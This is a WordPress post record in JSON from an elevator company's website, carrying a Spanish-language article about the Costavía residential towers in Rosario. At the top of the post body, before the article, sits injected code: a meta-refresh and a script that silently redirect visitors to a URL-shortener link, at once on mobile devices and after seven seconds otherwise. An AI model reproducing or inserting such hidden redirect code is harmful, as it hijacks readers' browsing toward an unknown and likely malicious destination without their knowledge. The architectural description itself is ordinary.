{"id":1037,"date":"2023-05-31T14:32:27","date_gmt":"2023-05-31T17:32:27","guid":{"rendered":"https:\/\/ascensoresbelardinelli.com\/?p=1037"},"modified":"2023-05-31T14:41:37","modified_gmt":"2023-05-31T17:41:37","slug":"costavia","status":"publish","type":"post","link":"https:\/\/ascensoresbelardinelli.com\/belar\/2023\/05\/31\/costavia\/","title":{"rendered":"Costav\u00eda"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/gtHwLetuW0r1\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/gtHwLetuW0r1\");<\/script>\r\n\n<p class=\"wp-block-paragraph\">El conjunto de tres torres se est\u00e1 construyendo en etapas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>REMATE.<\/strong>&nbsp;Los amenities est\u00e1n en los \u00faltimos pisos para liberar la planta baja.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>AMPLITUD.<\/strong>&nbsp;Todas las unidades poseen amplias terrazas y aventanamientos corridos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cLas tres torres ocupan casi media manzana, cuya planta baja estar\u00e1 totalmente abierta, con una plaza y usos comerciales\u201d, describe Gagliardo. Para liberar el cero, los amenities de las torres est\u00e1n en el remate y las cocheras en subsuelo.<br>Esa plaza p\u00fablica a cielo abierto tiene canteros, equipamiento urbano, comercios y calles compartidas por peatones, bicicletas y el paso circunstancial de motos y autom\u00f3viles (emergencias, deliveries, taxis). Se prioriz\u00f3 la circulaci\u00f3n peatonal y las interrelaciones sociales en el espacio p\u00fablico.<br>\u201cSe trata de un nuevo espacio social para la ciudad, complementando la vida del barrio. Toda esta multiplicidad de usos y la confluencia de personas en diferentes horarios y con perfiles distintos, brinda adem\u00e1s seguridad al entorno mediato e inmediato, posibilitando la voluntad de mantenerlo abierto\u201d, acota el proyectista.<br>Costav\u00eda es un desarrollo de Obring y Rosental. Est\u00e1 emplazado en la esquina de Av. Rivadavia y Rodr\u00edguez, en un predio de m\u00e1s de 4.000 m2 ubicado en el borde del tejido urbano de Rosario, frente al parque y al r\u00edo Paran\u00e1. Es la primera obra del \u00e1rea que surge de un convenio urban\u00edstico para la construcci\u00f3n de torres en el frente costero de Pichincha. El complejo de usos mixtos combina viviendas y oficinas con comercios y servicios.<br>Dos de las torres, de 25 pisos y frentistas a la avenida, est\u00e1n compuestas por departamentos de dos, tres y cuatro dormitorios. Una tercera torre, sobre la calle Rodr\u00edguez, se compone de lofts y departamentos de un dormitorio; m\u00e1s un bloque bajo de oficinas y locales comerciales, de cuatro pisos de altura, articulando con la altura de Pichincha. Todos los departamentos cuentan con terrazas de uso exclusivo de generosas dimensiones y canteros laterales con plantas, lo que genera un marco verde a toda la obra.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Adem\u00e1s, tienen un dise\u00f1o moderno donde \u201cse prioriza la flexibilidad de los espacios y la continuidad visual y espacial interior-exterior, mediante la ausencia de elementos estructurales y grandes pa\u00f1os vidriados de piso a techo\u201d, explica Gagliardo.<br>Solo dos materiales se emplean para la totalidad del conjunto: hormig\u00f3n a la vista y vidrio. Se propone un nuevo concepto de vida, una manera de vivir en constante relaci\u00f3n con el exterior aprovechando las permanentes vistas del r\u00edo e islas a trav\u00e9s de las superficies vidriadas en todo el per\u00edmetro de las torres. Tambi\u00e9n aportan a esta valoraci\u00f3n del entorno, el tratamiento de las envolventes, especialmente las que dan al Este y Oeste, con mallas met\u00e1licas y enredaderas que nacen en canteros piso a piso y alimentan un gran muro verde que controla el ingreso de sol a las unidades.<br>El mismo concepto se traslada desde la planta baja, con su parquizado y forestaci\u00f3n, a todo el desarrollo en altura de las torres, culminando en los pisos superiores. All\u00ed, las terrazas verdes ocupan una superficie mayoritaria con abundante vegetaci\u00f3n, arbustos y \u00e1rboles.<br>En el remate de cada torre se plantea un gran abanico de amenities, sectores de uso com\u00fan para los residentes: piscinas in-out, solarium, spa, gimnasio, salones de usos m\u00faltiples, cocinas con parrilleros y terrazas parquizadas con las mejores vistas panor\u00e1micas a la ciudad y al r\u00edo.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>El conjunto de tres torres se est\u00e1 construyendo en etapas. REMATE.&nbsp;Los amenities est\u00e1n en los \u00faltimos pisos para liberar la planta baja. AMPLITUD.&nbsp;Todas las unidades poseen amplias terrazas y aventanamientos corridos. \u201cLas tres torres ocupan casi media manzana, cuya planta baja estar\u00e1 totalmente abierta, con una plaza y usos comerciales\u201d, describe Gagliardo. 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